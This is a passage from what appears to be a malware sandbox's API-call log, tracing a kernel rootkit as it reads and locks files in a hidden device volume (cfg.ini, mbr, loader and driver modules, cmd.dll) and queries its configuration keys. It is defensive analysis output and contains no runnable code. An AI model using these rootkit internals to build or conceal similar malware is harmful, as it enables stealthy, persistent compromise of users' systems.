returned 0xfffffa80039d7d20 [0125.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.192] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.192] IdePortDispatch () returned 0x103 [0125.192] KeWaitForMutexObject () returned 0x0 [0125.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.192] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.192] IdePortDispatch () returned 0x103 [0125.192] KeWaitForMutexObject () returned 0x0 [0125.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.192] KeLeaveCriticalRegion () [0125.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.193] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.193] KeEnterCriticalRegion () [0125.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] KeLeaveCriticalRegion () [0125.193] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.193] KeEnterCriticalRegion () [0125.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.193] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] KeLeaveCriticalRegion () [0125.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.193] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.193] KeEnterCriticalRegion () [0125.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] ExFreePoolWithTag (P=0xfffffa8003bf6e10, Tag=0x0) [0125.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] KeLeaveCriticalRegion () [0125.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.193] ReleaseMutex (hMutex=0xf0) returned 1 [0125.193] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.193] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.193] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.193] KeEnterCriticalRegion () [0125.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.193] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.193] IdePortDispatch () returned 0x103 [0125.193] KeWaitForMutexObject () returned 0x0 [0125.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.194] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.194] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.194] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.194] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.194] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5560 [0125.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] KeLeaveCriticalRegion () [0125.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.194] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.194] KeEnterCriticalRegion () [0125.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] KeLeaveCriticalRegion () [0125.194] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.194] KeEnterCriticalRegion () [0125.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.194] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.194] IdePortDispatch () returned 0x103 [0125.194] KeWaitForMutexObject () returned 0x0 [0125.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] KeLeaveCriticalRegion () [0125.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.194] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.194] KeEnterCriticalRegion () [0125.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbd000 [0125.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.195] IdePortDispatch () returned 0x103 [0125.195] KeWaitForMutexObject () returned 0x0 [0125.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.195] IdePortDispatch () returned 0x103 [0125.195] KeWaitForMutexObject () returned 0x0 [0125.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.195] KeLeaveCriticalRegion () [0125.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.195] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.195] KeEnterCriticalRegion () [0125.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] KeLeaveCriticalRegion () [0125.196] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.196] KeEnterCriticalRegion () [0125.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] KeLeaveCriticalRegion () [0125.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.196] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.196] KeEnterCriticalRegion () [0125.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] ExFreePoolWithTag (P=0xfffffa8003bf5560, Tag=0x0) [0125.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] KeLeaveCriticalRegion () [0125.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.196] ReleaseMutex (hMutex=0xf0) returned 1 [0125.196] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.196] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.196] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.196] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.196] KeEnterCriticalRegion () [0125.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.196] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.196] IdePortDispatch () returned 0x103 [0125.196] KeWaitForMutexObject () returned 0x0 [0125.196] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.196] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.196] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.196] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.197] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.197] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.197] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.197] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.197] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.197] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.197] KeLeaveCriticalRegion () [0125.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.197] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.197] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.197] KeEnterCriticalRegion () [0125.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.197] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.197] IdePortDispatch () returned 0x103 [0125.197] KeWaitForMutexObject () returned 0x0 [0125.197] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.197] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.197] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.197] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.197] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.197] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.197] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.197] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.197] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.197] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.197] KeLeaveCriticalRegion () [0125.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.198] ReleaseMutex (hMutex=0x100) returned 1 [0125.198] Sleep (dwMilliseconds=0x2bf20) [0125.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dd2f390, dwHighDateTime=0x1d24fa4)) [0125.204] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.204] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.204] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.204] KeEnterCriticalRegion () [0125.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.204] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.204] IdePortDispatch () returned 0x103 [0125.204] KeWaitForMutexObject () returned 0x0 [0125.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.204] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.204] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.204] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.204] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.204] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5940 [0125.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.204] KeLeaveCriticalRegion () [0125.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.205] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.205] KeEnterCriticalRegion () [0125.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.205] KeLeaveCriticalRegion () [0125.205] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.205] KeEnterCriticalRegion () [0125.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.205] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.205] IdePortDispatch () returned 0x103 [0125.205] KeWaitForMutexObject () returned 0x0 [0125.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.205] KeLeaveCriticalRegion () [0125.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.205] KeEnterCriticalRegion () [0125.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc0000 [0125.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.205] IdePortDispatch () returned 0x103 [0125.205] KeWaitForMutexObject () returned 0x0 [0125.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.206] IdePortDispatch () returned 0x103 [0125.206] KeWaitForMutexObject () returned 0x0 [0125.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.206] KeLeaveCriticalRegion () [0125.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.206] KeEnterCriticalRegion () [0125.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.206] KeLeaveCriticalRegion () [0125.206] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.206] KeEnterCriticalRegion () [0125.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.206] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.206] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] KeLeaveCriticalRegion () [0125.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.207] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.207] KeEnterCriticalRegion () [0125.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] ExFreePoolWithTag (P=0xfffffa8003bf5940, Tag=0x0) [0125.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] KeLeaveCriticalRegion () [0125.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.207] ReleaseMutex (hMutex=0xf0) returned 1 [0125.207] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.207] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.207] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.207] KeEnterCriticalRegion () [0125.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.207] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.207] IdePortDispatch () returned 0x103 [0125.207] KeWaitForMutexObject () returned 0x0 [0125.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.207] _strnicmp 